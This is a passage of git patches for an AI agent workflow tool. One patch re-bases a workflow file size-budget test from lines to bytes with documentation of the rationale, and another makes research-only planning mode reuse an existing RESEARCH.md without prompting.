semantics are preserved unchanged — only the unit swaps. byteCount() uses fs.statSync().size to match `wc -c` (includes trailing newline), deliberately not lineCount()'s newline-stripping. Document the context-rot / attention-budget QUALITY rationale (independent of prompt caching) in the test JSDoc and docs/ARCHITECTURE.md, plus the Goodhart caveat: the byte budget measures one file, so the real goal is bounded *loaded* context — eager @-imports game the proxy; legitimate extraction is lazy. Update CONTEXT.md RULESET.WORKFLOW_SIZE_BUDGET to bytes and remove a stale duplicate ruleset entry that still said "1800 lines". Defers the #3182 MVP-mode split (tracked separately): MVP is a cross-cutting concern woven through plan-phase/execute-phase, not a discrete extractable mode. Closes #717 Co-Authored-By: Claude Opus 4.8 * docs(#717): add changeset fragment for byte-budget re-base Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/clever-sloths-dart.md | 5 + CONTEXT.md | 3 +- docs/ARCHITECTURE.md | 46 ++++++-- tests/feat-3039-help-tiered.test.cjs | 3 +- tests/workflow-size-budget.test.cjs | 167 ++++++++++++++++----------- 5 files changed, 144 insertions(+), 80 deletions(-) create mode 100644 .changeset/clever-sloths-dart.md diff --git a/.changeset/clever-sloths-dart.md b/.changeset/clever-sloths-dart.md new file mode 100644 index 000000000..369373fb7 --- /dev/null +++ b/.changeset/clever-sloths-dart.md @@ -0,0 +1,5 @@ +--- +type: Changed +pr: 719 +--- +**Workflow size budget now measures bytes, not lines (#717).** `tests/workflow-size-budget.test.cjs` re-bases its tier ceilings (XL/LARGE/DEFAULT) from line counts to byte counts — deterministic, no tokenizer, and matching the unit vendors bound on (Codex's 32,768-byte project_doc_max_bytes cap). The #597 tighten-only ratchet and per-file semantics are unchanged; the budget's caching-independent quality rationale (context rot / attention budget) is now documented. diff --git a/CONTEXT.md b/CONTEXT.md index 153b0df58..9a228a50f 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -195,7 +195,7 @@ The canonical lint infrastructure adopted in ADR 452 (`docs/adr/452-eslint-lint- `RULESET.TESTS.eslint-harness=ADR 452 (2026-05-28): ESLint flat config + typescript-eslint + eslint-plugin-n + eslint-plugin-no-only-tests + local plugin at scripts/eslint-rules/; replaces scripts/lint-*.cjs regex scanners; three test-rigor rules (local/no-source-grep, local/no-magic-sleep-in-tests, local/no-elapsed-assertion) ship at warn, promoted to error after #453 cleanup sweep merges` `RULESET.WORKFLOW_MARKDOWN.FENCES=preserve opening language fence when editing shell snippets in workflow markdown; malformed fence creates fresh CR threads (MD040)` -`RULESET.WORKFLOW_SIZE_BUDGET=workflow-size-budget can fail otherwise-valid review fixes; XL workflows <=1800 lines or trim prose before final checks` +`RULESET.WORKFLOW_SIZE_BUDGET=workflow-size-budget (#717) measures BYTES not lines; tiers XL<=90000 / LARGE<=54000 / DEFAULT<=38000 bytes, discuss-phase<30000; can fail otherwise-valid review fixes — trim prose or extract LAZILY-loaded content (eager @-imports don't reduce loaded context) before final checks` `RULESET.WORKFLOW_FILE_NAMES=workflow files use hyphens; XML attributes must match (extract-learnings not extract_learnings); tests should pin exact hyphenated name` `RULESET.WORKFLOW_EXECUTION_CONTEXT=@-ref in commands/gsd/*.md must resolve to an existing file on disk; regression test in tests/bug-3135-capture-backlog-workflow.test.cjs; INVENTORY.md row + INVENTORY-MANIFEST.json families.workflows must stay in sync; "Invoked by" attribution must move when a flag absorbs a micro-skill` `RULESET.WORKFLOW_EXECUTE_END_TO_END=ADR-0002 standard for single-workflow commands is "Execute end-to-end." (no bolded **Follow the X workflow** fragments); flag-dispatch routing uses "execute the X workflow end-to-end." in routing bullets` @@ -238,7 +238,6 @@ The canonical lint infrastructure adopted in ADR 452 (`docs/adr/452-eslint-lint- `RULESET.CODERABBIT.GUARD.SCOPE=if a new @me open PR appears during final list, include it in the same guard pass before declaring all-open-PRs complete` `RULESET.TESTS.CODERABBIT_FIX=prefer exported-function behavioral tests over source-grep; lint-no-source-grep rejects readFileSync source assertions without allow-test-rule` `RULESET.WORKFLOW_MARKDOWN.FENCES=when editing shell snippets inside workflow markdown, preserve the opening language fence; malformed fence can create fresh CodeRabbit threads` -`RULESET.WORKFLOW_SIZE_BUDGET=workflow-size-budget can fail otherwise-valid review fixes; keep XL workflows <=1800 lines or trim prose in same PR before final checks` `RULESET.GEMINI.TOOLS.ask_user=Gemini CLI has no ask_user tool; filter both AskUserQuestion and lowercase ask_user from tools frontmatter and neutralize both names in Gemini body text` `RULESET.GEMINI.TEST_SENTINEL=convertClaudeToGeminiAgent regression should assert tools excludes ask_user, body excludes AskUserQuestion/ask_user, and Read still maps to read_file` diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index 6b31ecc24..0443991e5 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -145,19 +145,43 @@ Orchestration logic that commands reference. Contains the step-by-step process i #### Progressive disclosure for workflows Workflow files are loaded verbatim into Claude's context every time the -corresponding `/gsd-*` command is invoked. To keep that cost bounded, the -workflow size budget enforced by `tests/workflow-size-budget.test.cjs` -mirrors the agent budget from #2361: +corresponding `/gsd-*` command is invoked. The workflow size budget enforced by +`tests/workflow-size-budget.test.cjs` keeps each file bounded, mirroring the +agent budget from #2361. The budget is measured in **bytes** (#717), not lines: +line count over-penalizes prose and under-catches token-dense tables and code +blocks, whereas bytes are deterministic and match the unit our vendors bound on +— Codex truncates instruction docs past 32,768 bytes (`project_doc_max_bytes`). +We adopt that unit, not that exact number: the XL/LARGE ceilings below sit above +32,768 because these are grandfathered top-level orchestrators loaded by Claude, +not Codex AGENTS.md docs. -| Tier | Per-file line limit | -|-----------|--------------------| -| `XL` | 1700 — top-level orchestrators (`execute-phase`, `plan-phase`, `new-project`) | -| `LARGE` | 1500 — multi-step planners and large feature workflows | -| `DEFAULT` | 1000 — focused single-purpose workflows (the target tier) | +| Tier | Per-file byte limit | +|-----------|---------------------| +| `XL` | 90,000 — top-level orchestrators (`execute-phase`, `plan-phase`, `new-project`) | +| `LARGE` | 54,000 — multi-step planners and large feature workflows | +| `DEFAULT` | 38,000 — focused single-purpose workflows (the target tier) | -`workflows/discuss-phase.md` is held to a stricter <500-line ceiling per -issue #2551. When a workflow grows beyond its tier, extract per-mode bodies -into `workflows//modes/.md`, templates into +Ceilings are not fixed forever: under the tighten-only ratchet (#597) each one +tracks its tier's current high-water mark within a small grace band, so budgets +may only decrease over time. + +**Why the budget exists.** With prompt caching the per-invocation *cost* of a +large workflow is modest (cache reads run ~10% of input). The stronger, +caching-independent reason is **quality**: as context grows, recall and +reasoning degrade ("context rot" / attention budget), so leaner, higher-signal +instructions produce better plans. The ceiling protects the agent's attention, +not just the token bill. + +Because the budget measures one file, it is a proxy for the real goal — +*bounded loaded context*. Extraction only helps when the extracted content is +loaded **lazily** (Read at the step that needs it). Moving prose into a file +that is still eagerly `@`-imported shrinks the measured file without shrinking +loaded context, which games the proxy rather than serving the goal. + +`workflows/discuss-phase.md` is held to a stricter <30,000-byte ceiling per +issue #2551 (originally <500 lines; re-based to bytes for #717). When a workflow grows +beyond its tier, extract per-mode bodies into +`workflows//modes/.md`, templates into `workflows//templates/`, and shared knowledge into `gsd-core/references/`. The parent file becomes a thin dispatcher that Reads only the mode and template files needed for the current invocation. diff --git a/tests/feat-3039-help-tiered.test.cjs b/tests/feat-3039-help-tiered.test.cjs index 4c981f45c..e97d2e8ee 100644 --- a/tests/feat-3039-help-tiered.test.cjs +++ b/tests/feat-3039-help-tiered.test.cjs @@ -58,7 +58,8 @@ const MODE_FILES = ['brief.md', 'default.md', 'full.md', 'topic.md']; const BRIEF_BUDGET = 30; // DEFAULT ceiling lowered from 70 → 60 (actualMax=50; #597 ratchet-down). const DEFAULT_BUDGET = 60; -// full.md is the LARGE tier (see workflow-size-budget.test.cjs — LARGE_BUDGET = 1500). +// full.md is the LARGE tier (see workflow-size-budget.test.cjs — now byte-based per #717; +// this FULL_BUDGET is a separate line-count budget for help/modes/full.md). // The size-budget test is non-recursive so full.md is not covered there; cap it here. // FULL ceiling lowered from 1500 → 844 (actualMax=784; #597 ratchet-down). const FULL_BUDGET = 844; diff --git a/tests/workflow-size-budget.test.cjs b/tests/workflow-size-budget.test.cjs index dab96d718..65da82e37 100644 --- a/tests/workflow-size-budget.test.cjs +++ b/tests/workflow-size-budget.test.cjs @@ -1,33 +1,64 @@ // allow-test-rule: source-text-is-the-product -// Tests measure line counts of workflow files — the workflow file text IS the +// Tests measure byte sizes of workflow files — the workflow file text IS the // product loaded by agents at runtime. No command output is parsed. // Migrated from pending-migration-to-typed-ir per #455. /** - * Workflow size budget. + * Workflow size budget (measured in BYTES — see #717). * * Workflow definitions in `gsd-core/workflows/*.md` are loaded verbatim - * into Claude's context every time the corresponding `/gsd:*` command is + * into the agent's context every time the corresponding `/gsd:*` command is * invoked. Unbounded growth is paid on every invocation across every session. * + * ## Why bytes, not lines (#717) + * + * Line count is a poor proxy: markdown tables and fenced code blocks are + * token-dense, so a line budget over-penalizes prose and under-catches dense + * additions. Bytes are cheap, deterministic, and need no tokenizer. They are + * also the UNIT our vendors bound on — Codex caps instruction docs at 32,768 + * bytes (`project_doc_max_bytes`) and truncates past it. We adopt that unit, + * not that exact number: our XL/LARGE ceilings sit above 32,768 because these + * are grandfathered top-level orchestrators loaded by Claude, not Codex + * AGENTS.md docs — the goal is a bounded, ratcheting budget, not Codex parity. + * + * ## Why the budget exists at all (the quality argument, not just cost) + * + * With prompt caching the per-invocation *cost* premise is weak (cache reads + * are ~10% of input). The stronger, caching-independent reason is QUALITY: + * larger context degrades recall and reasoning ("context rot" / attention + * budget). Lean, high-signal instructions produce better plans. The ceiling + * protects the agent's attention, not just the token bill. + * + * ## The goal this metric is a proxy for (read before gaming it — #717) + * + * The real target is bounded *loaded* context. This test measures one file's + * bytes, but `@~/.claude/gsd-core/references/...` imports are loaded EAGERLY + * into context. Moving prose into an eagerly @-imported reference shrinks the + * measured file while leaving (or growing) total loaded context — that is + * gaming the proxy, not improving the goal. Legitimate extraction is LAZY: + * content Read only at the step that needs it (see the discuss-phase mode/ + * template tests below, which forbid templates in ). + * * Tiered the same way as agent budgets (#2361): - * - XL : top-level orchestrators (e.g., execute-phase, autonomous) + * - XL : top-level orchestrators (e.g., execute-phase, plan-phase) * - LARGE : multi-step planners * - DEFAULT : focused single-purpose workflows (target tier) * * Raising a budget is a deliberate choice — adjust the constant, write a * rationale in the PR, and confirm the bloat is not duplicated content - * that belongs in `gsd-core/references/` or a per-mode subdirectory - * (see `workflows/discuss-phase/modes/` for the progressive-disclosure - * pattern introduced by #2551). + * that belongs in `gsd-core/references/` (lazily loaded) or a per-mode + * subdirectory (see `workflows/discuss-phase/modes/`, #2551). * * Tighten-only invariant (issue #597): ceilings track the tier high-water mark - * within GRACE lines. Budgets may only decrease, never silently creep upward. + * within GRACE bytes. Budgets may only decrease, never silently creep upward. * The assertTightCeiling() call below enforces this automatically. * * See: + * - https://github.com/open-gsd/gsd-core/issues/717 (bytes re-base + rationale) * - https://github.com/open-gsd/gsd-core/issues/2551 (this test) * - https://github.com/open-gsd/gsd-core/issues/2361 (agent budget) + * - https://developers.openai.com/codex/guides/agents-md (Codex 32 KB cap) + * - https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents */ const { test, describe } = require('node:test'); @@ -38,46 +69,45 @@ const { assertTightCeiling } = require('../scripts/lib/allowlist-ratchet.cjs'); const WORKFLOWS_DIR = path.join(__dirname, '..', 'gsd-core', 'workflows'); -// Grace band: maximum allowed slack (ceiling − actualMax) before a ceiling is -// considered too loose. 60 lines gives one reasonable screen of breathing room -// without permitting gross inflation. -const GRACE = 60; +// Grace band: maximum allowed slack (ceiling − actualMax) in BYTES before a +// ceiling is considered too loose. 3000 bytes ≈ the prior 60-line grace +// re-expressed for the #717 unit swap (these files run ~36–50 bytes/line, so +// ~60–80 lines of breathing room) without permitting gross inflation. +const GRACE = 3000; -// Bumped from 1700 → 1800 in #3181 to absorb MVP-mode verb-call additions -// in execute-phase.md (1727 → ) and plan-phase.md (1714 → ) from #3178. -// Follow-up #3182 (TBD): extract MVP-mode bodies to `/modes/mvp.md` -// per the discuss-phase/modes/ precedent and revert this back to 1700. -// Bumped from 1800 → 1810 in #3707 to absorb the startup orphan-sweep -// block added to execute-phase.md (+2 lines: one comment + one bash command). -// XL ceiling kept at 1810 (actualMax=1810, plan-phase; slack=0 ≤ GRACE=60). -const XL_BUDGET = 1810; -// LARGE ceiling lowered from 1500 → 1236 (actualMax=1176, docs-update; #597 ratchet-down). -const LARGE_BUDGET = 1236; -// DEFAULT ceiling lowered from 1000 → 870 (actualMax=810, settings-advanced; #597 ratchet-down). -const DEFAULT_BUDGET = 870; +// Byte ceilings (#717 re-base from lines). Each tier's ceiling tracks the +// current high-water mark within GRACE (#597 tighten-only ratchet). +// XL high-water mark is execute-phase.md — note that under LINES it was +// plan-phase; bytes genuinely re-rank the tier, which is the point of #717. +// actualMax=87005 (execute-phase); slack=2995 ≤ GRACE. +const XL_BUDGET = 90000; +// LARGE high-water mark is docs-update.md. actualMax=51184; slack=2816 ≤ GRACE. +const LARGE_BUDGET = 54000; +// DEFAULT high-water mark is settings-advanced.md. actualMax=35183; slack=2817 ≤ GRACE. +const DEFAULT_BUDGET = 38000; // Top-level orchestrators that own end-to-end multi-phase rubrics. -// Grandfathered at current sizes — see PR #2551 for #2551 progressive-disclosure -// pattern that future shrinks should follow. +// Grandfathered at current sizes — see PR #2551 for the progressive-disclosure +// pattern that future shrinks should follow. Byte counts noted for reference. const XL_WORKFLOWS = new Set([ - 'execute-phase', // 1727 (post-MVP-verb-integration; was 1622) - 'plan-phase', // 1714 (post-MVP-verb-integration; was 1493) - 'new-project', // 1391 + 'execute-phase', // 87005 bytes (tier high-water mark) + 'plan-phase', // 85068 bytes + 'new-project', // 55850 bytes ]); // Multi-step planners and bigger feature workflows. Grandfathered. const LARGE_WORKFLOWS = new Set([ - 'docs-update', // 1155 - 'autonomous', // 789 - 'complete-milestone', // 847 - 'verify-work', // 740 - 'transition', // 693 - 'discuss-phase-assumptions', // 670 - 'progress', // 619 - 'new-milestone', // 611 - 'update', // 587 - 'quick', // 971 - 'code-review', // 515 + 'docs-update', // 51184 bytes (tier high-water mark) + 'autonomous', // 32655 + 'complete-milestone', // 26284 + 'verify-work', // 26896 + 'transition', // 18201 + 'discuss-phase-assumptions', // 23398 + 'progress', // 23061 + 'new-milestone', // 26582 + 'update', // 19334 + 'quick', // 42484 + 'code-review', // 25500 ]); const ALL_WORKFLOWS = fs.readdirSync(WORKFLOWS_DIR) @@ -90,38 +120,40 @@ function budgetFor(workflow) { return { tier: 'DEFAULT', limit: DEFAULT_BUDGET }; } -function lineCount(filePath) { - const content = fs.readFileSync(filePath, 'utf-8'); - if (content.length === 0) return 0; - const trailingNewline = content.endsWith('\n') ? 1 : 0; - return content.split('\n').length - trailingNewline; +function byteCount(filePath) { + // Match `wc -c`: count every byte on disk, including any trailing newline. + // Deliberately NOT the trailing-newline-stripping logic the old lineCount() + // used — the byte ceilings are calibrated against raw `wc -c` output. + return fs.statSync(filePath).size; } -describe('SIZE: workflow line-count budget', () => { +describe('SIZE: workflow byte-size budget', () => { for (const workflow of ALL_WORKFLOWS) { const { tier, limit } = budgetFor(workflow); - test(`${workflow} (${tier}) stays under ${limit} lines`, () => { + test(`${workflow} (${tier}) stays under ${limit} bytes`, () => { const filePath = path.join(WORKFLOWS_DIR, workflow + '.md'); - const lines = lineCount(filePath); + const bytes = byteCount(filePath); assert.ok( - lines <= limit, - `${workflow}.md has ${lines} lines — exceeds ${tier} budget of ${limit}. ` + + bytes <= limit, + `${workflow}.md is ${bytes} bytes — exceeds ${tier} budget of ${limit}. ` + `Extract per-mode bodies to a workflows/${workflow}/modes/ subdirectory, ` + `templates to workflows/${workflow}/templates/, or shared references ` + - `to gsd-core/references/. See workflows/discuss-phase/ for the pattern.` + `to gsd-core/references/ — and load them LAZILY (not via @-required_reading, ` + + `which would shrink this file's bytes without shrinking loaded context). ` + + `See workflows/discuss-phase/ for the pattern.` ); }); } }); describe('SIZE: tier anti-creep (tighten-only ceilings, issue #597)', () => { - // For each tier, compute the high-water mark across all files in that tier - // and assert the ceiling stays tight. Prevents budgets from silently drifting - // upward: ceiling − actualMax must not exceed GRACE. + // For each tier, compute the high-water mark (in bytes) across all files in + // that tier and assert the ceiling stays tight. Prevents budgets from + // silently drifting upward: ceiling − actualMax must not exceed GRACE. test('XL tier: ceiling tracks high-water mark within GRACE', () => { const values = ALL_WORKFLOWS .filter(w => XL_WORKFLOWS.has(w)) - .map(w => lineCount(path.join(WORKFLOWS_DIR, w + '.md'))); + .map(w => byteCount(path.join(WORKFLOWS_DIR, w + '.md'))); const actualMax = Math.max(...values); assertTightCeiling({ label: 'XL', actualMax, ceiling: XL_BUDGET, grace: GRACE, fail: assert.fail }); }); @@ -129,7 +161,7 @@ describe('SIZE: tier anti-creep (tighten-only ceilings, issue #597)', () => { test('LARGE tier: ceiling tracks high-water mark within GRACE', () => { const values = ALL_WORKFLOWS .filter(w => LARGE_WORKFLOWS.has(w)) - .map(w => lineCount(path.join(WORKFLOWS_DIR, w + '.md'))); + .map(w => byteCount(path.join(WORKFLOWS_DIR, w + '.md'))); const actualMax = Math.max(...values); assertTightCeiling({ label: 'LARGE', actualMax, ceiling: LARGE_BUDGET, grace: GRACE, fail: assert.fail }); }); @@ -137,24 +169,27 @@ describe('SIZE: tier anti-creep (tighten-only ceilings, issue #597)', () => { test('DEFAULT tier: ceiling tracks high-water mark within GRACE', () => { const values = ALL_WORKFLOWS .filter(w => !XL_WORKFLOWS.has(w) && !LARGE_WORKFLOWS.has(w)) - .map(w => lineCount(path.join(WORKFLOWS_DIR, w + '.md'))); + .map(w => byteCount(path.join(WORKFLOWS_DIR, w + '.md'))); const actualMax = Math.max(...values); assertTightCeiling({ label: 'DEFAULT', actualMax, ceiling: DEFAULT_BUDGET, grace: GRACE, fail: assert.fail }); }); }); describe('SIZE: discuss-phase progressive disclosure (issue #2551)', () => { - // Issue #2551 explicitly targets discuss-phase.md at <500 lines, separate from - // the per-tier grandfathered budgets above. This is the headline metric of the - // refactor — every other workflow above 500 is grandfathered at its current - // size and may shrink later by following the same pattern. - const DISCUSS_PHASE_TARGET = 500; - test(`discuss-phase.md is under ${DISCUSS_PHASE_TARGET} lines (issue #2551 target)`, () => { + // Issue #2551 targets discuss-phase.md as a thin dispatcher, separate from + // the per-tier grandfathered budgets above. Originally expressed as <500 + // lines; re-based to bytes for #717 (500 lines ≈ 28 KB at these files' + // density; set to 30 KB to preserve the thin-dispatcher intent with modest + // headroom). This is the headline metric of the refactor — every other + // workflow above its tier is grandfathered and may shrink later via the + // same pattern. + const DISCUSS_PHASE_TARGET = 30000; + test(`discuss-phase.md is under ${DISCUSS_PHASE_TARGET} bytes (issue #2551 target)`, () => { const filePath = path.join(WORKFLOWS_DIR, 'discuss-phase.md'); - const lines = lineCount(filePath); + const bytes = byteCount(filePath); assert.ok( - lines < DISCUSS_PHASE_TARGET, - `discuss-phase.md has ${lines} lines — must be under ${DISCUSS_PHASE_TARGET} per #2551. ` + + bytes < DISCUSS_PHASE_TARGET, + `discuss-phase.md is ${bytes} bytes — must be under ${DISCUSS_PHASE_TARGET} per #2551. ` + `Per-mode logic belongs in workflows/discuss-phase/modes/.md, ` + `templates in workflows/discuss-phase/templates/.` ); From 42b74100f1fcc17f4e64578b523e6b14c782ea4c Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 11:09:54 -0400 Subject: [PATCH 21/94] feat(#159): auto-use existing RESEARCH.md in /gsd:plan-phase --research-phase (#718) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(#159): auto-use existing RESEARCH.md in /gsd:plan-phase --research-phase When RESEARCH.md already exists in research-only mode and neither --research nor --view is passed, emit a one-line notice and exit cleanly instead of prompting update/view/skip. This matches the promptless auto-use of standard /gsd:plan-phase (§5.1) and removes the §5.0/§5.1 inconsistency, making AI-agent and CLI invocations non-interactive in the common case. The two explicit-flag escape hatches (--research to refresh, --view to print) cover any deviation. Closes #159 Co-Authored-By: Claude Opus 4.8 * chore(#159): point changeset fragment at PR #718 Co-Authored-By: Claude Opus 4.8 * docs(#159): tighten research-phase reference register (Diataxis) Make the 'no modifier' research-phase entries descriptive rather than imperative and drop the trailing 'pass --research/--view' clauses, which duplicated the adjacent --research/--view documentation. Reference docs describe; the recovery flags are documented in their own entries. The emitted runtime notice in the workflow keeps naming the flags (in-band recovery), unchanged. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .../159-research-phase-auto-use-existing.md | 5 +++ commands/gsd/plan-phase.md | 4 +- docs/COMMANDS.md | 4 +- gsd-core/workflows/help/modes/full.md | 4 +- gsd-core/workflows/plan-phase.md | 6 +-- tests/skill-frontmatter-contract.test.cjs | 45 ++++++++++++------- 6 files changed, 43 insertions(+), 25 deletions(-) create mode 100644 .changeset/159-research-phase-auto-use-existing.md diff --git a/.changeset/159-research-phase-auto-use-existing.md b/.changeset/159-research-phase-auto-use-existing.md new file mode 100644 index 000000000..0d0d6dbee --- /dev/null +++ b/.changeset/159-research-phase-auto-use-existing.md @@ -0,0 +1,5 @@ +--- +type: Changed +pr: 718 +--- +`/gsd:plan-phase --research-phase ` now auto-uses an existing `RESEARCH.md` instead of prompting update/view/skip. When research already exists and neither `--research` nor `--view` is passed, it emits a one-line notice and exits cleanly, matching the promptless behavior of standard `/gsd:plan-phase `. Pass `--research` to force-refresh or `--view` to print the existing research. (#159) diff --git a/commands/gsd/plan-phase.md b/commands/gsd/plan-phase.md index 3e4314f8b..4051a361f 100644 --- a/commands/gsd/plan-phase.md +++ b/commands/gsd/plan-phase.md @@ -22,8 +22,8 @@ Create executable phase prompts (PLAN.md files) for a roadmap phase with integra **Research-only mode (`--research-phase `):** Spawn `gsd-phase-researcher` for phase `N`, write `RESEARCH.md`, then exit before the planner runs. Useful for cross-phase research, doc review before committing to a planning approach, and correction-without-replanning loops where iterating on research alone is dramatically cheaper than re-spawning the planner. Replaces the deleted research-phase command (#3042). **Research-only modifiers:** -- **No flag** — when `RESEARCH.md` already exists, prompt the user to choose `update / view / skip`. -- **`--research`** — force-refresh: re-spawn the researcher unconditionally, no prompt. Skips the existing-RESEARCH.md menu. +- **No flag** — when `RESEARCH.md` already exists, auto-uses it: emits a one-line notice and exits cleanly, no prompt. +- **`--research`** — force-refresh: re-spawn the researcher unconditionally, no prompt. Bypasses the existing-RESEARCH.md auto-use path. - **`--view`** — view-only: print existing `RESEARCH.md` to stdout. Does not spawn the researcher. Cheapest mode for the correction-without-replanning loop. If no `RESEARCH.md` exists yet, errors with a hint to drop `--view`. **Orchestrator role:** Parse arguments, validate phase, research domain (unless skipped), spawn gsd-planner, verify with gsd-plan-checker, iterate until pass or max iterations, present results. diff --git a/docs/COMMANDS.md b/docs/COMMANDS.md index 0d71fa243..6bd444ac6 100644 --- a/docs/COMMANDS.md +++ b/docs/COMMANDS.md @@ -162,7 +162,7 @@ Research, plan, and verify a phase. **Produces:** `{phase}-RESEARCH.md`, `{phase}-{N}-PLAN.md`, `{phase}-VALIDATION.md`; `{phase}/SKELETON.md` when Walking Skeleton mode fires **Research-only mode (`--research-phase `):** -- No modifier: prompts `update / view / skip` if RESEARCH.md already exists. +- No modifier: when RESEARCH.md already exists, auto-uses it — emits a one-line notice and exits, no prompt. - With `--research`: force-refresh — re-spawn researcher unconditionally, no prompt. - With `--view`: print existing RESEARCH.md to stdout, no spawn. Errors if RESEARCH.md missing. @@ -185,7 +185,7 @@ See [Package Legitimacy Gate in the User Guide](USER-GUIDE.md#package-legitimacy /gsd-plan-phase 1 --bounce # Plan + external bounce validation /gsd-plan-phase 2 --ingest docs/adr/0010.md # ADR express path for context synthesis /gsd-plan-phase 2 --ingest 'docs/adr/00*.md' --ingest-format auto -/gsd-plan-phase --research-phase 4 # Research only on phase 4 (prompts if RESEARCH.md exists) +/gsd-plan-phase --research-phase 4 # Research only on phase 4 (auto-uses existing RESEARCH.md, no prompt) /gsd-plan-phase --research-phase 4 --view # Print existing RESEARCH.md, no spawn /gsd-plan-phase --research-phase 4 --research # Force-refresh research, no prompt /gsd-plan-phase 1 --mvp # Vertical-slice plan for phase 1 diff --git a/gsd-core/workflows/help/modes/full.md b/gsd-core/workflows/help/modes/full.md index f6f130ab9..1efe4f401 100644 --- a/gsd-core/workflows/help/modes/full.md +++ b/gsd-core/workflows/help/modes/full.md @@ -86,7 +86,7 @@ Create detailed execution plan for a specific phase. - `--skip-research` — bypass the research subagent - `--research-phase ` — research-only mode. Spawns the research agent for phase ``, writes `RESEARCH.md`, then exits before the planner runs. Useful for cross-phase research, doc review before committing to a planning approach, and correction-without-replanning loops. Replaces the deleted `gsd-research-phase` standalone command (#3042). - - Modifiers: `--research` forces refresh (re-spawn researcher, no prompt). `--view` prints existing `RESEARCH.md` to stdout without spawning. With neither, prompts `update / view / skip` if `RESEARCH.md` already exists. + - Modifiers: `--research` forces refresh (re-spawn researcher). `--view` prints existing `RESEARCH.md` to stdout without spawning. With neither, auto-uses an existing `RESEARCH.md` (one-line notice, then clean exit). - `--gaps` — focus only on closing gaps from a prior plan-check - `--skip-verify` — skip the post-plan verifier loop - `--ingest ` — pre-ingest external ADRs/PRDs/SPECs before planning (see *PRD Express Path* below) @@ -100,7 +100,7 @@ Create detailed execution plan for a specific phase. - Multiple plans per phase supported (XX-01, XX-02, etc.) Usage: `/gsd:plan-phase 1` -Usage: `/gsd:plan-phase --research-phase 2` — research only on phase 2 (prompts if `RESEARCH.md` exists) +Usage: `/gsd:plan-phase --research-phase 2` — research only on phase 2 (auto-uses existing `RESEARCH.md`, no prompt) Usage: `/gsd:plan-phase --research-phase 2 --view` — print existing `RESEARCH.md`, no spawn Usage: `/gsd:plan-phase --research-phase 2 --research` — force-refresh, no prompt Result: Creates `.planning/phases/01-foundation/01-01-PLAN.md` diff --git a/gsd-core/workflows/plan-phase.md b/gsd-core/workflows/plan-phase.md index 63b08be16..cc93aa5ce 100644 --- a/gsd-core/workflows/plan-phase.md +++ b/gsd-core/workflows/plan-phase.md @@ -417,15 +417,15 @@ Pass `ai_spec_path` and `framework_line` to planner in step 7 so it can referenc **Skip if:** `--gaps` flag or `--skip-research` flag or `--reviews` flag. -### 5.0. Research-Only Modifiers (`--view`, `--research`, prompt) +### 5.0. Research-Only Modifiers (`--view`, `--research`) **Skip if:** `RESEARCH_ONLY` is `false`. Three branches in research-only mode (`--research-phase `): -1. **`--view`** (or user picks "View" in the prompt below): print `RESEARCH.md` to stdout, no spawn, exit. If `RESEARCH.md` is missing, error with: `--view requires an existing RESEARCH.md; drop --view to spawn the researcher.` +1. **`--view`**: print `RESEARCH.md` to stdout, no spawn, exit. If `RESEARCH.md` is missing, error with: `--view requires an existing RESEARCH.md; drop --view to spawn the researcher.` 2. **`--research`** (force-refresh): re-spawn researcher unconditionally — fall through to "Spawn gsd-phase-researcher" below. -3. **Neither flag AND `has_research=true`:** emit `RESEARCH.md already exists for Phase ${PHASE}.` and prompt the user with three choices: `1. Update — re-spawn researcher and refresh RESEARCH.md`, `2. View — print existing RESEARCH.md and exit (no spawn)`, `3. Skip — exit without spawning or printing`. Map "Update" → fall through to spawn, "View" → set `VIEW_ONLY=true` and emit RESEARCH.md as in (1), "Skip" → exit cleanly. Mirrors the deleted `/gsd-research-phase` standalone's existing-artifact menu (#3042 parity). +3. **Neither flag AND `has_research=true`:** auto-use the existing research and exit cleanly — do not prompt, do not re-spawn. Emit `RESEARCH.md already exists for Phase ${PHASE}, using it. To force-refresh, re-invoke with --research; to print, re-invoke with --view. Path: ${research_path}` then exit. The explicit-flag escape hatches cover any deviation; this matches §5.1's promptless auto-use of existing research, removing the §5.0/§5.1 inconsistency (#159). ```bash if [[ "$VIEW_ONLY" == "true" ]]; then diff --git a/tests/skill-frontmatter-contract.test.cjs b/tests/skill-frontmatter-contract.test.cjs index ecd6f39b1..c05fee768 100644 --- a/tests/skill-frontmatter-contract.test.cjs +++ b/tests/skill-frontmatter-contract.test.cjs @@ -172,29 +172,42 @@ describe('skill frontmatter: /gsd-plan-phase --research-phase flag absorbs the s ); }); - test('workflow has an existing-RESEARCH.md prompt path (update/view/skip) within proximity', () => { + test('research-only mode auto-uses existing RESEARCH.md (no update/view/skip prompt)', () => { const content = read('gsd-core/workflows/plan-phase.md'); - // CR #3045 finding: the previous version of this test asserted - // `update`, `view`, `skip` appeared anywhere in the file, which was - // tautological — those words occur all over the workflow for - // unrelated reasons (--skip-research, --view flag declarations, - // etc.). Tighten to a proximity check: all three choice tokens - // must occur in a window of ~400 chars surrounding "RESEARCH.md - // already exists" / "Update — re-spawn" / equivalent prompt prose, - // proving the prompt section is genuinely present. + // #159: the §5.0 existing-RESEARCH.md path no longer prompts + // update/view/skip. When RESEARCH.md exists and neither --research nor + // --view is set, the workflow emits a brief "using it" notice naming + // the two escape-hatch flags and exits cleanly — matching the + // promptless auto-use behavior of §5.1 standard mode. const idx = content.indexOf('RESEARCH.md already exists'); assert.ok( idx >= 0, - 'plan-phase workflow must contain the literal "RESEARCH.md already exists" prompt header in the research-only existing-artifact section' + 'plan-phase workflow must contain the literal "RESEARCH.md already exists" notice in the research-only existing-artifact section' ); const window = content.slice(idx, idx + 600); - const hasUpdate = /\b(?:update|refresh|re-spawn)\b/i.test(window); - const hasView = /\bview\b/i.test(window); - const hasSkip = /\bskip\b/i.test(window); + // Positive contract: an auto-use notice that names both recovery flags. assert.ok( - hasUpdate && hasView && hasSkip, - 'prompt section near "RESEARCH.md already exists" must mention all three choices (update/refresh/re-spawn, view, skip); ' + - 'got update=' + hasUpdate + 